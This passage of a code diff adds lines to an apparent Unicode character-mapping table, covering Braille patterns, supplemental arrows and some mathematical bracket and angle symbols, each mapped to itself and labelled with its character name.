+ ["\u2851", "\u2851"], /* BRAILLE PATTERN DOTS-157 */
+ ["\u2852", "\u2852"], /* BRAILLE PATTERN DOTS-257 */
+ ["\u2853", "\u2853"], /* BRAILLE PATTERN DOTS-1257 */
+ ["\u2854", "\u2854"], /* BRAILLE PATTERN DOTS-357 */
+ ["\u2855", "\u2855"], /* BRAILLE PATTERN DOTS-1357 */
+ ["\u2856", "\u2856"], /* BRAILLE PATTERN DOTS-2357 */
+ ["\u2857", "\u2857"], /* BRAILLE PATTERN DOTS-12357 */
+ ["\u2858", "\u2858"], /* BRAILLE PATTERN DOTS-457 */
+ ["\u2859", "\u2859"], /* BRAILLE PATTERN DOTS-1457 */
+ ["\u285A", "\u285A"], /* BRAILLE PATTERN DOTS-2457 */
+ ["\u285B", "\u285B"], /* BRAILLE PATTERN DOTS-12457 */
+ ["\u285C", "\u285C"], /* BRAILLE PATTERN DOTS-3457 */
+ ["\u285D", "\u285D"], /* BRAILLE PATTERN DOTS-13457 */
+ ["\u285E", "\u285E"], /* BRAILLE PATTERN DOTS-23457 */
+ ["\u285F", "\u285F"], /* BRAILLE PATTERN DOTS-123457 */
+ ["\u2860", "\u2860"], /* BRAILLE PATTERN DOTS-67 */
+ ["\u2861", "\u2861"], /* BRAILLE PATTERN DOTS-167 */
+ ["\u2862", "\u2862"], /* BRAILLE PATTERN DOTS-267 */
+ ["\u2863", "\u2863"], /* BRAILLE PATTERN DOTS-1267 */
+ ["\u2864", "\u2864"], /* BRAILLE PATTERN DOTS-367 */
+ ["\u2865", "\u2865"], /* BRAILLE PATTERN DOTS-1367 */
+ ["\u2866", "\u2866"], /* BRAILLE PATTERN DOTS-2367 */
+ ["\u2867", "\u2867"], /* BRAILLE PATTERN DOTS-12367 */
+ ["\u2868", "\u2868"], /* BRAILLE PATTERN DOTS-467 */
+ ["\u2869", "\u2869"], /* BRAILLE PATTERN DOTS-1467 */
+ ["\u286A", "\u286A"], /* BRAILLE PATTERN DOTS-2467 */
+ ["\u286B", "\u286B"], /* BRAILLE PATTERN DOTS-12467 */
+ ["\u286C", "\u286C"], /* BRAILLE PATTERN DOTS-3467 */
+ ["\u286D", "\u286D"], /* BRAILLE PATTERN DOTS-13467 */
+ ["\u286E", "\u286E"], /* BRAILLE PATTERN DOTS-23467 */
+ ["\u286F", "\u286F"], /* BRAILLE PATTERN DOTS-123467 */
+ ["\u2870", "\u2870"], /* BRAILLE PATTERN DOTS-567 */
+ ["\u2871", "\u2871"], /* BRAILLE PATTERN DOTS-1567 */
+ ["\u2872", "\u2872"], /* BRAILLE PATTERN DOTS-2567 */
+ ["\u2873", "\u2873"], /* BRAILLE PATTERN DOTS-12567 */
+ ["\u2874", "\u2874"], /* BRAILLE PATTERN DOTS-3567 */
+ ["\u2875", "\u2875"], /* BRAILLE PATTERN DOTS-13567 */
+ ["\u2876", "\u2876"], /* BRAILLE PATTERN DOTS-23567 */
+ ["\u2877", "\u2877"], /* BRAILLE PATTERN DOTS-123567 */
+ ["\u2878", "\u2878"], /* BRAILLE PATTERN DOTS-4567 */
+ ["\u2879", "\u2879"], /* BRAILLE PATTERN DOTS-14567 */
+ ["\u287A", "\u287A"], /* BRAILLE PATTERN DOTS-24567 */
+ ["\u287B", "\u287B"], /* BRAILLE PATTERN DOTS-124567 */
+ ["\u287C", "\u287C"], /* BRAILLE PATTERN DOTS-34567 */
+ ["\u287D", "\u287D"], /* BRAILLE PATTERN DOTS-134567 */
+ ["\u287E", "\u287E"], /* BRAILLE PATTERN DOTS-234567 */
+ ["\u287F", "\u287F"], /* BRAILLE PATTERN DOTS-1234567 */
+ ["\u2880", "\u2880"], /* BRAILLE PATTERN DOTS-8 */
+ ["\u2881", "\u2881"], /* BRAILLE PATTERN DOTS-18 */
+ ["\u2882", "\u2882"], /* BRAILLE PATTERN DOTS-28 */
+ ["\u2883", "\u2883"], /* BRAILLE PATTERN DOTS-128 */
+ ["\u2884", "\u2884"], /* BRAILLE PATTERN DOTS-38 */
+ ["\u2885", "\u2885"], /* BRAILLE PATTERN DOTS-138 */
+ ["\u2886", "\u2886"], /* BRAILLE PATTERN DOTS-238 */
+ ["\u2887", "\u2887"], /* BRAILLE PATTERN DOTS-1238 */
+ ["\u2888", "\u2888"], /* BRAILLE PATTERN DOTS-48 */
+ ["\u2889", "\u2889"], /* BRAILLE PATTERN DOTS-148 */
+ ["\u288A", "\u288A"], /* BRAILLE PATTERN DOTS-248 */
+ ["\u288B", "\u288B"], /* BRAILLE PATTERN DOTS-1248 */
+ ["\u288C", "\u288C"], /* BRAILLE PATTERN DOTS-348 */
+ ["\u288D", "\u288D"], /* BRAILLE PATTERN DOTS-1348 */
+ ["\u288E", "\u288E"], /* BRAILLE PATTERN DOTS-2348 */
+ ["\u288F", "\u288F"], /* BRAILLE PATTERN DOTS-12348 */
+ ["\u2890", "\u2890"], /* BRAILLE PATTERN DOTS-58 */
+ ["\u2891", "\u2891"], /* BRAILLE PATTERN DOTS-158 */
+ ["\u2892", "\u2892"], /* BRAILLE PATTERN DOTS-258 */
+ ["\u2893", "\u2893"], /* BRAILLE PATTERN DOTS-1258 */
+ ["\u2894", "\u2894"], /* BRAILLE PATTERN DOTS-358 */
+ ["\u2895", "\u2895"], /* BRAILLE PATTERN DOTS-1358 */
+ ["\u2896", "\u2896"], /* BRAILLE PATTERN DOTS-2358 */
+ ["\u2897", "\u2897"], /* BRAILLE PATTERN DOTS-12358 */
+ ["\u2898", "\u2898"], /* BRAILLE PATTERN DOTS-458 */
+ ["\u2899", "\u2899"], /* BRAILLE PATTERN DOTS-1458 */
+ ["\u289A", "\u289A"], /* BRAILLE PATTERN DOTS-2458 */
+ ["\u289B", "\u289B"], /* BRAILLE PATTERN DOTS-12458 */
+ ["\u289C", "\u289C"], /* BRAILLE PATTERN DOTS-3458 */
+ ["\u289D", "\u289D"], /* BRAILLE PATTERN DOTS-13458 */
+ ["\u289E", "\u289E"], /* BRAILLE PATTERN DOTS-23458 */
+ ["\u289F", "\u289F"], /* BRAILLE PATTERN DOTS-123458 */
+ ["\u28A0", "\u28A0"], /* BRAILLE PATTERN DOTS-68 */
+ ["\u28A1", "\u28A1"], /* BRAILLE PATTERN DOTS-168 */
+ ["\u28A2", "\u28A2"], /* BRAILLE PATTERN DOTS-268 */
+ ["\u28A3", "\u28A3"], /* BRAILLE PATTERN DOTS-1268 */
+ ["\u28A4", "\u28A4"], /* BRAILLE PATTERN DOTS-368 */
+ ["\u28A5", "\u28A5"], /* BRAILLE PATTERN DOTS-1368 */
+ ["\u28A6", "\u28A6"], /* BRAILLE PATTERN DOTS-2368 */
+ ["\u28A7", "\u28A7"], /* BRAILLE PATTERN DOTS-12368 */
+ ["\u28A8", "\u28A8"], /* BRAILLE PATTERN DOTS-468 */
+ ["\u28A9", "\u28A9"], /* BRAILLE PATTERN DOTS-1468 */
+ ["\u28AA", "\u28AA"], /* BRAILLE PATTERN DOTS-2468 */
+ ["\u28AB", "\u28AB"], /* BRAILLE PATTERN DOTS-12468 */
+ ["\u28AC", "\u28AC"], /* BRAILLE PATTERN DOTS-3468 */
+ ["\u28AD", "\u28AD"], /* BRAILLE PATTERN DOTS-13468 */
+ ["\u28AE", "\u28AE"], /* BRAILLE PATTERN DOTS-23468 */
+ ["\u28AF", "\u28AF"], /* BRAILLE PATTERN DOTS-123468 */
+ ["\u28B0", "\u28B0"], /* BRAILLE PATTERN DOTS-568 */
+ ["\u28B1", "\u28B1"], /* BRAILLE PATTERN DOTS-1568 */
+ ["\u28B2", "\u28B2"], /* BRAILLE PATTERN DOTS-2568 */
+ ["\u28B3", "\u28B3"], /* BRAILLE PATTERN DOTS-12568 */
+ ["\u28B4", "\u28B4"], /* BRAILLE PATTERN DOTS-3568 */
+ ["\u28B5", "\u28B5"], /* BRAILLE PATTERN DOTS-13568 */
+ ["\u28B6", "\u28B6"], /* BRAILLE PATTERN DOTS-23568 */
+ ["\u28B7", "\u28B7"], /* BRAILLE PATTERN DOTS-123568 */
+ ["\u28B8", "\u28B8"], /* BRAILLE PATTERN DOTS-4568 */
+ ["\u28B9", "\u28B9"], /* BRAILLE PATTERN DOTS-14568 */
+ ["\u28BA", "\u28BA"], /* BRAILLE PATTERN DOTS-24568 */
+ ["\u28BB", "\u28BB"], /* BRAILLE PATTERN DOTS-124568 */
+ ["\u28BC", "\u28BC"], /* BRAILLE PATTERN DOTS-34568 */
+ ["\u28BD", "\u28BD"], /* BRAILLE PATTERN DOTS-134568 */
+ ["\u28BE", "\u28BE"], /* BRAILLE PATTERN DOTS-234568 */
+ ["\u28BF", "\u28BF"], /* BRAILLE PATTERN DOTS-1234568 */
+ ["\u28C0", "\u28C0"], /* BRAILLE PATTERN DOTS-78 */
+ ["\u28C1", "\u28C1"], /* BRAILLE PATTERN DOTS-178 */
+ ["\u28C2", "\u28C2"], /* BRAILLE PATTERN DOTS-278 */
+ ["\u28C3", "\u28C3"], /* BRAILLE PATTERN DOTS-1278 */
+ ["\u28C4", "\u28C4"], /* BRAILLE PATTERN DOTS-378 */
+ ["\u28C5", "\u28C5"], /* BRAILLE PATTERN DOTS-1378 */
+ ["\u28C6", "\u28C6"], /* BRAILLE PATTERN DOTS-2378 */
+ ["\u28C7", "\u28C7"], /* BRAILLE PATTERN DOTS-12378 */
+ ["\u28C8", "\u28C8"], /* BRAILLE PATTERN DOTS-478 */
+ ["\u28C9", "\u28C9"], /* BRAILLE PATTERN DOTS-1478 */
+ ["\u28CA", "\u28CA"], /* BRAILLE PATTERN DOTS-2478 */
+ ["\u28CB", "\u28CB"], /* BRAILLE PATTERN DOTS-12478 */
+ ["\u28CC", "\u28CC"], /* BRAILLE PATTERN DOTS-3478 */
+ ["\u28CD", "\u28CD"], /* BRAILLE PATTERN DOTS-13478 */
+ ["\u28CE", "\u28CE"], /* BRAILLE PATTERN DOTS-23478 */
+ ["\u28CF", "\u28CF"], /* BRAILLE PATTERN DOTS-123478 */
+ ["\u28D0", "\u28D0"], /* BRAILLE PATTERN DOTS-578 */
+ ["\u28D1", "\u28D1"], /* BRAILLE PATTERN DOTS-1578 */
+ ["\u28D2", "\u28D2"], /* BRAILLE PATTERN DOTS-2578 */
+ ["\u28D3", "\u28D3"], /* BRAILLE PATTERN DOTS-12578 */
+ ["\u28D4", "\u28D4"], /* BRAILLE PATTERN DOTS-3578 */
+ ["\u28D5", "\u28D5"], /* BRAILLE PATTERN DOTS-13578 */
+ ["\u28D6", "\u28D6"], /* BRAILLE PATTERN DOTS-23578 */
+ ["\u28D7", "\u28D7"], /* BRAILLE PATTERN DOTS-123578 */
+ ["\u28D8", "\u28D8"], /* BRAILLE PATTERN DOTS-4578 */
+ ["\u28D9", "\u28D9"], /* BRAILLE PATTERN DOTS-14578 */
+ ["\u28DA", "\u28DA"], /* BRAILLE PATTERN DOTS-24578 */
+ ["\u28DB", "\u28DB"], /* BRAILLE PATTERN DOTS-124578 */
+ ["\u28DC", "\u28DC"], /* BRAILLE PATTERN DOTS-34578 */
+ ["\u28DD", "\u28DD"], /* BRAILLE PATTERN DOTS-134578 */
+ ["\u28DE", "\u28DE"], /* BRAILLE PATTERN DOTS-234578 */
+ ["\u28DF", "\u28DF"], /* BRAILLE PATTERN DOTS-1234578 */
+ ["\u28E0", "\u28E0"], /* BRAILLE PATTERN DOTS-678 */
+ ["\u28E1", "\u28E1"], /* BRAILLE PATTERN DOTS-1678 */
+ ["\u28E2", "\u28E2"], /* BRAILLE PATTERN DOTS-2678 */
+ ["\u28E3", "\u28E3"], /* BRAILLE PATTERN DOTS-12678 */
+ ["\u28E4", "\u28E4"], /* BRAILLE PATTERN DOTS-3678 */
+ ["\u28E5", "\u28E5"], /* BRAILLE PATTERN DOTS-13678 */
+ ["\u28E6", "\u28E6"], /* BRAILLE PATTERN DOTS-23678 */
+ ["\u28E7", "\u28E7"], /* BRAILLE PATTERN DOTS-123678 */
+ ["\u28E8", "\u28E8"], /* BRAILLE PATTERN DOTS-4678 */
+ ["\u28E9", "\u28E9"], /* BRAILLE PATTERN DOTS-14678 */
+ ["\u28EA", "\u28EA"], /* BRAILLE PATTERN DOTS-24678 */
+ ["\u28EB", "\u28EB"], /* BRAILLE PATTERN DOTS-124678 */
+ ["\u28EC", "\u28EC"], /* BRAILLE PATTERN DOTS-34678 */
+ ["\u28ED", "\u28ED"], /* BRAILLE PATTERN DOTS-134678 */
+ ["\u28EE", "\u28EE"], /* BRAILLE PATTERN DOTS-234678 */
+ ["\u28EF", "\u28EF"], /* BRAILLE PATTERN DOTS-1234678 */
+ ["\u28F0", "\u28F0"], /* BRAILLE PATTERN DOTS-5678 */
+ ["\u28F1", "\u28F1"], /* BRAILLE PATTERN DOTS-15678 */
+ ["\u28F2", "\u28F2"], /* BRAILLE PATTERN DOTS-25678 */
+ ["\u28F3", "\u28F3"], /* BRAILLE PATTERN DOTS-125678 */
+ ["\u28F4", "\u28F4"], /* BRAILLE PATTERN DOTS-35678 */
+ ["\u28F5", "\u28F5"], /* BRAILLE PATTERN DOTS-135678 */
+ ["\u28F6", "\u28F6"], /* BRAILLE PATTERN DOTS-235678 */
+ ["\u28F7", "\u28F7"], /* BRAILLE PATTERN DOTS-1235678 */
+ ["\u28F8", "\u28F8"], /* BRAILLE PATTERN DOTS-45678 */
+ ["\u28F9", "\u28F9"], /* BRAILLE PATTERN DOTS-145678 */
+ ["\u28FA", "\u28FA"], /* BRAILLE PATTERN DOTS-245678 */
+ ["\u28FB", "\u28FB"], /* BRAILLE PATTERN DOTS-1245678 */
+ ["\u28FC", "\u28FC"], /* BRAILLE PATTERN DOTS-345678 */
+ ["\u28FD", "\u28FD"], /* BRAILLE PATTERN DOTS-1345678 */
+ ["\u28FE", "\u28FE"], /* BRAILLE PATTERN DOTS-2345678 */
+ ["\u28FF", "\u28FF"], /* BRAILLE PATTERN DOTS-12345678 */
+ ["\u2900", "\u2900"], /* RIGHTWARDS TWO-HEADED ARROW WITH VERTICAL STROKE */
+ ["\u2901", "\u2901"], /* RIGHTWARDS TWO-HEADED ARROW WITH DOUBLE VERTICAL STROKE */
+ ["\u2902", "\u2902"], /* LEFTWARDS DOUBLE ARROW WITH VERTICAL STROKE */
+ ["\u2903", "\u2903"], /* RIGHTWARDS DOUBLE ARROW WITH VERTICAL STROKE */
+ ["\u2904", "\u2904"], /* LEFT RIGHT DOUBLE ARROW WITH VERTICAL STROKE */
+ ["\u2905", "\u2905"], /* RIGHTWARDS TWO-HEADED ARROW FROM BAR */
+ ["\u2906", "\u2906"], /* LEFTWARDS DOUBLE ARROW FROM BAR */
+ ["\u2907", "\u2907"], /* RIGHTWARDS DOUBLE ARROW FROM BAR */
+ ["\u2908", "\u2908"], /* DOWNWARDS ARROW WITH HORIZONTAL STROKE */
+ ["\u2909", "\u2909"], /* UPWARDS ARROW WITH HORIZONTAL STROKE */
+ ["\u290A", "\u290A"], /* UPWARDS TRIPLE ARROW */
+ ["\u290B", "\u290B"], /* DOWNWARDS TRIPLE ARROW */
+ ["\u290C", "\u290C"], /* LEFTWARDS DOUBLE DASH ARROW */
+ ["\u290D", "\u290D"], /* RIGHTWARDS DOUBLE DASH ARROW */
+ ["\u290E", "\u290E"], /* LEFTWARDS TRIPLE DASH ARROW */
+ ["\u290F", "\u290F"], /* RIGHTWARDS TRIPLE DASH ARROW */
+ ["\u2910", "\u2910"], /* RIGHTWARDS TWO-HEADED TRIPLE DASH ARROW */
+ ["\u2911", "\u2911"], /* RIGHTWARDS ARROW WITH DOTTED STEM */
+ ["\u2912", "\u2912"], /* UPWARDS ARROW TO BAR */
+ ["\u2913", "\u2913"], /* DOWNWARDS ARROW TO BAR */
+ ["\u2914", "\u2914"], /* RIGHTWARDS ARROW WITH TAIL WITH VERTICAL STROKE */
+ ["\u2915", "\u2915"], /* RIGHTWARDS ARROW WITH TAIL WITH DOUBLE VERTICAL STROKE */
+ ["\u2916", "\u2916"], /* RIGHTWARDS TWO-HEADED ARROW WITH TAIL */
+ ["\u2917", "\u2917"], /* RIGHTWARDS TWO-HEADED ARROW WITH TAIL WITH VERTICAL STROKE */
+ ["\u2918", "\u2918"], /* RIGHTWARDS TWO-HEADED ARROW WITH TAIL WITH DOUBLE VERTICAL STROKE */
+ ["\u2919", "\u2919"], /* LEFTWARDS ARROW-TAIL */
+ ["\u291A", "\u291A"], /* RIGHTWARDS ARROW-TAIL */
+ ["\u291B", "\u291B"], /* LEFTWARDS DOUBLE ARROW-TAIL */
+ ["\u291C", "\u291C"], /* RIGHTWARDS DOUBLE ARROW-TAIL */
+ ["\u291D", "\u291D"], /* LEFTWARDS ARROW TO BLACK DIAMOND */
+ ["\u291E", "\u291E"], /* RIGHTWARDS ARROW TO BLACK DIAMOND */
+ ["\u291F", "\u291F"], /* LEFTWARDS ARROW FROM BAR TO BLACK DIAMOND */
+ ["\u2920", "\u2920"], /* RIGHTWARDS ARROW FROM BAR TO BLACK DIAMOND */
+ ["\u2921", "\u2921"], /* NORTH WEST AND SOUTH EAST ARROW */
+ ["\u2922", "\u2922"], /* NORTH EAST AND SOUTH WEST ARROW */
+ ["\u2923", "\u2923"], /* NORTH WEST ARROW WITH HOOK */
+ ["\u2924", "\u2924"], /* NORTH EAST ARROW WITH HOOK */
+ ["\u2925", "\u2925"], /* SOUTH EAST ARROW WITH HOOK */
+ ["\u2926", "\u2926"], /* SOUTH WEST ARROW WITH HOOK */
+ ["\u2927", "\u2927"], /* NORTH WEST ARROW AND NORTH EAST ARROW */
+ ["\u2928", "\u2928"], /* NORTH EAST ARROW AND SOUTH EAST ARROW */
+ ["\u2929", "\u2929"], /* SOUTH EAST ARROW AND SOUTH WEST ARROW */
+ ["\u292A", "\u292A"], /* SOUTH WEST ARROW AND NORTH WEST ARROW */
+ ["\u292B", "\u292B"], /* RISING DIAGONAL CROSSING FALLING DIAGONAL */
+ ["\u292C", "\u292C"], /* FALLING DIAGONAL CROSSING RISING DIAGONAL */
+ ["\u292D", "\u292D"], /* SOUTH EAST ARROW CROSSING NORTH EAST ARROW */
+ ["\u292E", "\u292E"], /* NORTH EAST ARROW CROSSING SOUTH EAST ARROW */
+ ["\u292F", "\u292F"], /* FALLING DIAGONAL CROSSING NORTH EAST ARROW */
+ ["\u2930", "\u2930"], /* RISING DIAGONAL CROSSING SOUTH EAST ARROW */
+ ["\u2931", "\u2931"], /* NORTH EAST ARROW CROSSING NORTH WEST ARROW */
+ ["\u2932", "\u2932"], /* NORTH WEST ARROW CROSSING NORTH EAST ARROW */
+ ["\u2933", "\u2933"], /* WAVE ARROW POINTING DIRECTLY RIGHT */
+ ["\u2934", "\u2934"], /* ARROW POINTING RIGHTWARDS THEN CURVING UPWARDS */
+ ["\u2935", "\u2935"], /* ARROW POINTING RIGHTWARDS THEN CURVING DOWNWARDS */
+ ["\u2936", "\u2936"], /* ARROW POINTING DOWNWARDS THEN CURVING LEFTWARDS */
+ ["\u2937", "\u2937"], /* ARROW POINTING DOWNWARDS THEN CURVING RIGHTWARDS */
+ ["\u2938", "\u2938"], /* RIGHT-SIDE ARC CLOCKWISE ARROW */
+ ["\u2939", "\u2939"], /* LEFT-SIDE ARC ANTICLOCKWISE ARROW */
+ ["\u293A", "\u293A"], /* TOP ARC ANTICLOCKWISE ARROW */
+ ["\u293B", "\u293B"], /* BOTTOM ARC ANTICLOCKWISE ARROW */
+ ["\u293C", "\u293C"], /* TOP ARC CLOCKWISE ARROW WITH MINUS */
+ ["\u293D", "\u293D"], /* TOP ARC ANTICLOCKWISE ARROW WITH PLUS */
+ ["\u293E", "\u293E"], /* LOWER RIGHT SEMICIRCULAR CLOCKWISE ARROW */
+ ["\u293F", "\u293F"], /* LOWER LEFT SEMICIRCULAR ANTICLOCKWISE ARROW */
+ ["\u2940", "\u2940"], /* ANTICLOCKWISE CLOSED CIRCLE ARROW */
+ ["\u2941", "\u2941"], /* CLOCKWISE CLOSED CIRCLE ARROW */
+ ["\u2942", "\u2942"], /* RIGHTWARDS ARROW ABOVE SHORT LEFTWARDS ARROW */
+ ["\u2943", "\u2943"], /* LEFTWARDS ARROW ABOVE SHORT RIGHTWARDS ARROW */
+ ["\u2944", "\u2944"], /* SHORT RIGHTWARDS ARROW ABOVE LEFTWARDS ARROW */
+ ["\u2945", "\u2945"], /* RIGHTWARDS ARROW WITH PLUS BELOW */
+ ["\u2946", "\u2946"], /* LEFTWARDS ARROW WITH PLUS BELOW */
+ ["\u2947", "\u2947"], /* RIGHTWARDS ARROW THROUGH X */
+ ["\u2948", "\u2948"], /* LEFT RIGHT ARROW THROUGH SMALL CIRCLE */
+ ["\u2949", "\u2949"], /* UPWARDS TWO-HEADED ARROW FROM SMALL CIRCLE */
+ ["\u294A", "\u294A"], /* LEFT BARB UP RIGHT BARB DOWN HARPOON */
+ ["\u294B", "\u294B"], /* LEFT BARB DOWN RIGHT BARB UP HARPOON */
+ ["\u294C", "\u294C"], /* UP BARB RIGHT DOWN BARB LEFT HARPOON */
+ ["\u294D", "\u294D"], /* UP BARB LEFT DOWN BARB RIGHT HARPOON */
+ ["\u294E", "\u294E"], /* LEFT BARB UP RIGHT BARB UP HARPOON */
+ ["\u294F", "\u294F"], /* UP BARB RIGHT DOWN BARB RIGHT HARPOON */
+ ["\u2950", "\u2950"], /* LEFT BARB DOWN RIGHT BARB DOWN HARPOON */
+ ["\u2951", "\u2951"], /* UP BARB LEFT DOWN BARB LEFT HARPOON */
+ ["\u2952", "\u2952"], /* LEFTWARDS HARPOON WITH BARB UP TO BAR */
+ ["\u2953", "\u2953"], /* RIGHTWARDS HARPOON WITH BARB UP TO BAR */
+ ["\u2954", "\u2954"], /* UPWARDS HARPOON WITH BARB RIGHT TO BAR */
+ ["\u2955", "\u2955"], /* DOWNWARDS HARPOON WITH BARB RIGHT TO BAR */
+ ["\u2956", "\u2956"], /* LEFTWARDS HARPOON WITH BARB DOWN TO BAR */
+ ["\u2957", "\u2957"], /* RIGHTWARDS HARPOON WITH BARB DOWN TO BAR */
+ ["\u2958", "\u2958"], /* UPWARDS HARPOON WITH BARB LEFT TO BAR */
+ ["\u2959", "\u2959"], /* DOWNWARDS HARPOON WITH BARB LEFT TO BAR */
+ ["\u295A", "\u295A"], /* LEFTWARDS HARPOON WITH BARB UP FROM BAR */
+ ["\u295B", "\u295B"], /* RIGHTWARDS HARPOON WITH BARB UP FROM BAR */
+ ["\u295C", "\u295C"], /* UPWARDS HARPOON WITH BARB RIGHT FROM BAR */
+ ["\u295D", "\u295D"], /* DOWNWARDS HARPOON WITH BARB RIGHT FROM BAR */
+ ["\u295E", "\u295E"], /* LEFTWARDS HARPOON WITH BARB DOWN FROM BAR */
+ ["\u295F", "\u295F"], /* RIGHTWARDS HARPOON WITH BARB DOWN FROM BAR */
+ ["\u2960", "\u2960"], /* UPWARDS HARPOON WITH BARB LEFT FROM BAR */
+ ["\u2961", "\u2961"], /* DOWNWARDS HARPOON WITH BARB LEFT FROM BAR */
+ ["\u2962", "\u2962"], /* LEFTWARDS HARPOON WITH BARB UP ABOVE LEFTWARDS HARPOON WITH BARB DOWN */
+ ["\u2963", "\u2963"], /* UPWARDS HARPOON WITH BARB LEFT BESIDE UPWARDS HARPOON WITH BARB RIGHT */
+ ["\u2964", "\u2964"], /* RIGHTWARDS HARPOON WITH BARB UP ABOVE RIGHTWARDS HARPOON WITH BARB DOWN */
+ ["\u2965", "\u2965"], /* DOWNWARDS HARPOON WITH BARB LEFT BESIDE DOWNWARDS HARPOON WITH BARB RIGHT */
+ ["\u2966", "\u2966"], /* LEFTWARDS HARPOON WITH BARB UP ABOVE RIGHTWARDS HARPOON WITH BARB UP */
+ ["\u2967", "\u2967"], /* LEFTWARDS HARPOON WITH BARB DOWN ABOVE RIGHTWARDS HARPOON WITH BARB DOWN */
+ ["\u2968", "\u2968"], /* RIGHTWARDS HARPOON WITH BARB UP ABOVE LEFTWARDS HARPOON WITH BARB UP */
+ ["\u2969", "\u2969"], /* RIGHTWARDS HARPOON WITH BARB DOWN ABOVE LEFTWARDS HARPOON WITH BARB DOWN */
+ ["\u296A", "\u296A"], /* LEFTWARDS HARPOON WITH BARB UP ABOVE LONG DASH */
+ ["\u296B", "\u296B"], /* LEFTWARDS HARPOON WITH BARB DOWN BELOW LONG DASH */
+ ["\u296C", "\u296C"], /* RIGHTWARDS HARPOON WITH BARB UP ABOVE LONG DASH */
+ ["\u296D", "\u296D"], /* RIGHTWARDS HARPOON WITH BARB DOWN BELOW LONG DASH */
+ ["\u296E", "\u296E"], /* UPWARDS HARPOON WITH BARB LEFT BESIDE DOWNWARDS HARPOON WITH BARB RIGHT */
+ ["\u296F", "\u296F"], /* DOWNWARDS HARPOON WITH BARB LEFT BESIDE UPWARDS HARPOON WITH BARB RIGHT */
+ ["\u2970", "\u2970"], /* RIGHT DOUBLE ARROW WITH ROUNDED HEAD */
+ ["\u2971", "\u2971"], /* EQUALS SIGN ABOVE RIGHTWARDS ARROW */
+ ["\u2972", "\u2972"], /* TILDE OPERATOR ABOVE RIGHTWARDS ARROW */
+ ["\u2973", "\u2973"], /* LEFTWARDS ARROW ABOVE TILDE OPERATOR */
+ ["\u2974", "\u2974"], /* RIGHTWARDS ARROW ABOVE TILDE OPERATOR */
+ ["\u2975", "\u2975"], /* RIGHTWARDS ARROW ABOVE ALMOST EQUAL TO */
+ ["\u2976", "\u2976"], /* LESS-THAN ABOVE LEFTWARDS ARROW */
+ ["\u2977", "\u2977"], /* LEFTWARDS ARROW THROUGH LESS-THAN */
+ ["\u2978", "\u2978"], /* GREATER-THAN ABOVE RIGHTWARDS ARROW */
+ ["\u2979", "\u2979"], /* SUBSET ABOVE RIGHTWARDS ARROW */
+ ["\u297A", "\u297A"], /* LEFTWARDS ARROW THROUGH SUBSET */
+ ["\u297B", "\u297B"], /* SUPERSET ABOVE LEFTWARDS ARROW */
+ ["\u297C", "\u297C"], /* LEFT FISH TAIL */
+ ["\u297D", "\u297D"], /* RIGHT FISH TAIL */
+ ["\u297E", "\u297E"], /* UP FISH TAIL */
+ ["\u297F", "\u297F"], /* DOWN FISH TAIL */
+ ["\u2980", "\u2980"], /* TRIPLE VERTICAL BAR DELIMITER */
+ ["\u2981", "\u2981"], /* Z NOTATION SPOT */
+ ["\u2982", "\u2982"], /* Z NOTATION TYPE COLON */
+ ["\u2983", "\u2983"], /* LEFT WHITE CURLY BRACKET */
+ ["\u2984", "\u2984"], /* RIGHT WHITE CURLY BRACKET */
+ ["\u2985", "\u2985"], /* LEFT WHITE PARENTHESIS */
+ ["\u2986", "\u2986"], /* RIGHT WHITE PARENTHESIS */
+ ["\u2987", "\u2987"], /* Z NOTATION LEFT IMAGE BRACKET */
+ ["\u2988", "\u2988"], /* Z NOTATION RIGHT IMAGE BRACKET */
+ ["\u2989", "\u2989"], /* Z NOTATION LEFT BINDING BRACKET */
+ ["\u298A", "\u298A"], /* Z NOTATION RIGHT BINDING BRACKET */
+ ["\u298B", "\u298B"], /* LEFT SQUARE BRACKET WITH UNDERBAR */
+ ["\u298C", "\u298C"], /* RIGHT SQUARE BRACKET WITH UNDERBAR */
+ ["\u298D", "\u298D"], /* LEFT SQUARE BRACKET WITH TICK IN TOP CORNER */
+ ["\u298E", "\u298E"], /* RIGHT SQUARE BRACKET WITH TICK IN BOTTOM CORNER */
+ ["\u298F", "\u298F"], /* LEFT SQUARE BRACKET WITH TICK IN BOTTOM CORNER */
+ ["\u2990", "\u2990"], /* RIGHT SQUARE BRACKET WITH TICK IN TOP CORNER */
+ ["\u2991", "\u2991"], /* LEFT ANGLE BRACKET WITH DOT */
+ ["\u2992", "\u2992"], /* RIGHT ANGLE BRACKET WITH DOT */
+ ["\u2993", "\u2993"], /* LEFT ARC LESS-THAN BRACKET */
+ ["\u2994", "\u2994"], /* RIGHT ARC GREATER-THAN BRACKET */
+ ["\u2995", "\u2995"], /* DOUBLE LEFT ARC GREATER-THAN BRACKET */
+ ["\u2996", "\u2996"], /* DOUBLE RIGHT ARC LESS-THAN BRACKET */
+ ["\u2997", "\u2997"], /* LEFT BLACK TORTOISE SHELL BRACKET */
+ ["\u2998", "\u2998"], /* RIGHT BLACK TORTOISE SHELL BRACKET */
+ ["\u2999", "\u2999"], /* DOTTED FENCE */
+ ["\u299A", "\u299A"], /* VERTICAL ZIGZAG LINE */
+ ["\u299B", "\u299B"], /* MEASURED ANGLE OPENING LEFT */
+ ["\u299C", "\u299C"], /* RIGHT ANGLE VARIANT WITH SQUARE */
+ ["\u299D", "\u299D"], /* MEASURED RIGHT ANGLE WITH DOT */
+ ["\u299E", "\u299E"], /* ANGLE WITH S INSIDE */
+ ["\u299F", "\u299F"], /* ACUTE ANGLE */
+ ["\u29A0", "\u29A0"], /* SPHERICAL ANGLE OPENING LEFT */
+ ["\u29A1", "\u29A1"], /* SPHERICAL ANGLE OPENING UP */
+ ["\u29A2", "\u29A2"], /* TURNED ANGLE */
+ ["\u29A3", "\u29A3"], /* REVERSED ANGLE */
+ ["\u29A4", "\u29A4"], /* ANGLE WITH UNDERBAR */
+ ["\u29A5", "\u29A5"], /* REVERSED ANGLE WITH UNDERBAR */
+ ["\u29A6", "\u29A6"], /* OBLIQUE ANGLE OPENING UP */
+ ["\u29A7", "\u29A7"], /* OBLIQUE ANGLE OPENING DOWN */
+ ["\u29A8", "\u29A8"], /* MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING UP AND RIGHT */
+ ["\u29A9", "\u29A9"], /* MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING UP AND LEFT */
+ ["\u29AA", "\u29AA"], /* MEASURED ANGLE WITH OPEN ARM ENDING IN ARROW POINTING DOWN AND RIGHT */
